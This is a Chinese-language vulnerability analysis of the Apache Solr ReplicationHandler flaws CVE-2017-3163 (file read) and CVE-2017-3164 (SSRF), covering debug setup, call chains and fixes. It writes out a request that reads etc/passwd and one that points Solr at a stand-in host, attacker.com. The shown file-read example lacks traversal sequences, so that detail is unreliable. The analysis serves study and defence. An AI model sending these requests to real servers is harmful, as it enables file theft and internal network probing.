Apache Solr ReplicationHandler漏洞浅析(CVE-2017-3163&&CVE-2017-3164)
字数 1813 2025-08-20 18:18:05
Apache Solr ReplicationHandler漏洞分析(CVE-2017-3163 & CVE-2017-3164)
1. 漏洞概述
Apache Solr是一个基于Lucene的开源企业搜索平台,提供全文检索、命中标示、分面搜索等功能。Solr的ReplicationHandler类存在两个安全漏洞:
-
CVE-2017-3163:任意文件读取漏洞
- 影响版本:5.5.4之前的Solr和6.4.1之前的6.x版本
- 漏洞原因:索引复制功能未对文件名进行验证,导致路径遍历攻击
-
CVE-2017-3164:服务器端请求伪造(SSRF)漏洞
- 影响版本:同上
- 漏洞原因:缺乏白名单机制,允许攻击者使Solr执行任意HTTP GET请求
2. 环境搭建
2.1 所需工具
- JDK 1.8.0_112
- Apache Ant 1.9.15
- Apache Solr 6.0.0
- IDEA (用于调试)
2.2 搭建步骤
-
下载Solr 6.0.0源码:
https://archive.apache.org/dist/lucene/solr/6.0.0/solr-6.0.0-src.tgz -
安装Ant (OSX示例):
brew install ant@1.9 && brew link --force ant@1.9 -
构建Solr:
cd solr-6.0.0 ant idea ant ivy-bootstrap cd solr ant server -
生成测试数据并启动:
cd solr/bin/ chmod 777 solr ./solr -f -e dih -
设置远程调试:
./solr stop -p 8983 ./solr start -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6666" -p 8983 -s "/path/to/solr/example/example-DIH/solr" -
IDEA配置远程调试:
- 调试类:
org.apache.solr.servlet.SolrDispatchFilter - 方法:
doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)
- 调试类:
3. CVE-2017-3163 任意文件读取漏洞分析
3.1 漏洞复现
恶意请求示例:
http://127.0.0.1:8983/solr/db/replication?command=filecontent&file=etc/passwd&wt=filestream&generation=1
3.2 漏洞调用链
-
请求处理流程:
SolrDispatchFilter#doFilter→ 创建HttpSolrCall对象HttpSolrCall#call→ 初始化解析handler、path、action等HttpSolrCall#execute→ 获取SolrCore对象并调用handler
-
关键处理点:
ReplicationHandler#handleRequestBody解析command为"filecontent"- 进入
getFileStream方法 - 创建
DirectoryFileStream对象并添加到响应中
-
文件读取点:
DirectoryFileStream#write方法中调用dir.openInput- 路径拼接结果为:
/solr/db/data/index/etc/passwd
3.3 漏洞原因
- 未对
file参数进行路径遍历检查 - 直接拼接用户输入到文件路径中
- 允许读取服务器上的任意文件
4. CVE-2017-3164 SSRF漏洞分析
4.1 漏洞复现
恶意请求示例:
http://127.0.0.1:8983/solr/db/replication?command=fetchindex&masterUrl=http://attacker.com/&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb
4.2 漏洞调用链
-
请求处理流程:
ReplicationHandler#handleRequestBody解析command为"fetchindex"- 开启新线程并调用
doFetch方法 - 创建
IndexFetcher对象并调用fetchLatestIndex
-
SSRF触发点:
IndexFetcher#getLatestVersion方法- 直接使用用户提供的
masterUrl发起HTTP请求 - 无任何白名单或URL验证机制
4.3 漏洞原因
- 完全信任用户提供的
masterUrl参数 - 缺乏对目标URL的验证机制
- 允许向任意地址发起HTTP请求
5. 漏洞修复建议
-
升级到安全版本:
- Solr 5.5.4或更高版本
- Solr 6.4.1或更高版本
-
临时缓解措施:
- 限制对ReplicationHandler的访问
- 配置防火墙规则限制Solr的出站连接
-
代码层面修复:
- 对文件路径进行规范化并检查路径遍历
- 实现URL白名单机制
- 验证所有用户提供的输入参数
6. 技术总结
这两个漏洞都源于Solr的ReplicationHandler对用户输入缺乏充分验证:
-
文件读取漏洞(CVE-2017-3163):
- 根本原因:路径遍历攻击
- 影响:可读取服务器敏感文件
- 修复关键:文件路径验证
-
SSRF漏洞(CVE-2017-3164):
- 根本原因:无限制的HTTP请求
- 影响:可探测内网、攻击内部服务
- 修复关键:URL白名单机制
这两个漏洞的组合使用可导致严重的服务器安全风险,建议所有受影响用户尽快升级。